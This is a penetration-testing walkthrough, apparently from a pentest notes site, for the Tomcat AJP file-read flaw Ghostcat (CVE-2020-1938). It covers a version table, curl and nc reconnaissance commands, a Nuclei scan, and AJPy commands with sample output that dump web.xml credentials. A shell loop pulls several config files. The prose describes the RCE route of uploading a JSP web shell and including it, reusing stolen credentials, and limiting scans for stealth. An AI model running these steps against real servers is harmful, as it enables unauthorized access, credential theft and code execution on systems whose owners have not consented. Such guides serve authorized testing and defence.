Skip to content

Ghostcat — Tomcat AJP File Read (CVE-2020-1938)

5 min read Created Mar 30, 2026 Last updated Mar 30, 2026

CVE-2020-1938 (Ghostcat) is an unauthenticated file read vulnerability in the Tomcat AJP connector. When AJP is exposed and the target version is vulnerable, an attacker can read any file from within the web application's deployment directory: including WEB-INF/web.xml, configuration files, and JSP source. In some configurations it also enables remote code execution via file inclusion. Confirm the Tomcat version before testing.

The AJP connector exists to proxy requests between a front-end web server and Tomcat. It listens on port 8009 by default. Many deployments leave AJP bound to all interfaces instead of loopback only. That misconfiguration is what Ghostcat exploits. No authentication is required to use the connector. Any reachable port 8009 is directly attackable. The RCE path requires a file upload point on the application. Upload a JSP file anywhere in the web root. Then use Ghostcat file inclusion to have Tomcat parse and execute it. Without a writable path, the attack is limited to file read.

  • Affected Versions
  • Confirm Version Before Testing
  • Test with Nuclei
  • PoC: Read WEB-INF/web.xml

Affected Versions

Branch

Vulnerable

Fixed in

9.x

9.0.0.M1 - 9.0.30

9.0.31

8.5.x

8.5.0 - 8.5.50

8.5.51

8.0.x

8.0.0.RC1 - 8.0.53

End of life: no fix

7.x

7.0.0 - 7.0.99

7.0.100

Confirm Version Before Testing

┌──(kali㉿kali)-[~]
└─$ curl -sk http://$TARGET_IP:8080/doesnotexist | grep -i 'Apache Tomcat'
<h3>Apache Tomcat/9.0.30</h3>

Version 9.0.30 is in the vulnerable range 9.0.0.M1 - 9.0.30. AJP on port 8009 must also be reachable. Confirm both before running the PoC.

If Tomcat suppresses version info from error pages, check the Server response header with curl -sk -I http://$TARGET_IP:8080/. The version also appears in the default /manager/html page title when error pages are stripped. Confirm port 8009 is open with nc -zv $TARGET_IP 8009. A timeout or connection refused means AJP is filtered or disabled. The attack path is closed regardless of Tomcat version in that case.

Test with Nuclei

Nuclei has a template for Ghostcat detection that confirms exploitability without requiring manual setup. A positive hit is reliable confirmation that AJP is open and the target is vulnerable. No output does not rule out the vulnerability. Custom Tomcat configurations can affect how the AJP connector responds to the probe. If Nuclei returns nothing, check both conditions manually. If the version is in the vulnerable range and port 8009 is open, run the manual PoC directly.

┌──(kali㉿kali)-[~]
└─$ nuclei -u http://$TARGET_IP:8080/ -tags cve2020-1938,ghostcat,tomcat -severity critical
[CVE-2020-1938] [critical] http://10.10.10.50:8080 [Apache Tomcat AJP File Inclusion]
Explain command
-u Specifies the target URL to scan.
http://$TARGET_IP:8080/ Target URL with placeholder IP and port 8080.
-tags Filters templates to run by specified tags.
cve2020-1938,ghostcat,tomcat Tags targeting CVE-2020-1938 (Ghostcat) and Tomcat templates.
-severity Filters templates by severity level.
critical Runs only templates rated as critical severity.

PoC: Read WEB-INF/web.xml

Use the Ghostcat Python PoC to read files from the web application directory via the AJP connector:

┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/hypn0s/AJPy && cd AJPy
┌──(kali㉿kali)-[~]
└─$ python3 tomcat.py read_file --webapp=/ /WEB-INF/web.xml $TARGET_IP
<?xml version="1.0" encoding="UTF-8"?>
<web-app>
  <display-name>MyApp</display-name>
  <context-param>
    <param-name>DB_PASSWORD</param-name>
    <param-value>SuperSecret123!</param-value>
  </context-param>
</web-app>
Explain command
read_file AJPy subcommand to read a file via the AJP connector.
--webapp=/ Web application context path (use / for the root webapp).
/WEB-INF/web.xml File path relative to the webapp root to retrieve.
$TARGET_IP Target host IP address (positional, last argument).

web.xml is the primary target: it often contains database credentials, API keys, and application configuration. Additional high-value targets within the web application directory:

Look for context-param and env-entry elements in web.xml. These frequently hold JDBC connection strings with plaintext credentials. For Spring Boot applications, grab WEB-INF/classes/application.properties: it stores datasource URLs, passwords, and API tokens. WEB-INF/classes/db.properties covers older Hibernate and MyBatis setups. If you find database credentials, attempt direct access to the database from your position. Test found credentials against any login portal on the target.

For the RCE path, find a file upload function in the application. Upload a JSP web shell and note the path where it lands. Use Ghostcat to read it via the path relative to the web root. Tomcat processes the JSP on inclusion and executes your payload. This is only viable when you can upload and know the exact upload path.

┌──(kali㉿kali)-[~]
└─$ for file in WEB-INF/web.xml WEB-INF/classes/application.properties WEB-INF/classes/db.properties conf/context.xml; do
echo "=== $file ==="
python3 tomcat.py read_file --webapp=/ /$file $TARGET_IP 2>/dev/null | head -10
done

Ghostcat fails when port 8009 is filtered or AJP is disabled in server.xml. Tomcat 9.0.31 and later require a shared secret for AJP connections by default. Without the correct secret, the connector rejects the request. On those patched versions the PoC will time out or return a connection error. Check the version carefully before assuming the host is unexploitable. Some load balancers proxy HTTP and pass AJP to the internal network. Port 8009 may then be reachable only from inside. AJP connections appear in Tomcat's access log. Do not run repeated scans against the same target if stealth matters.

References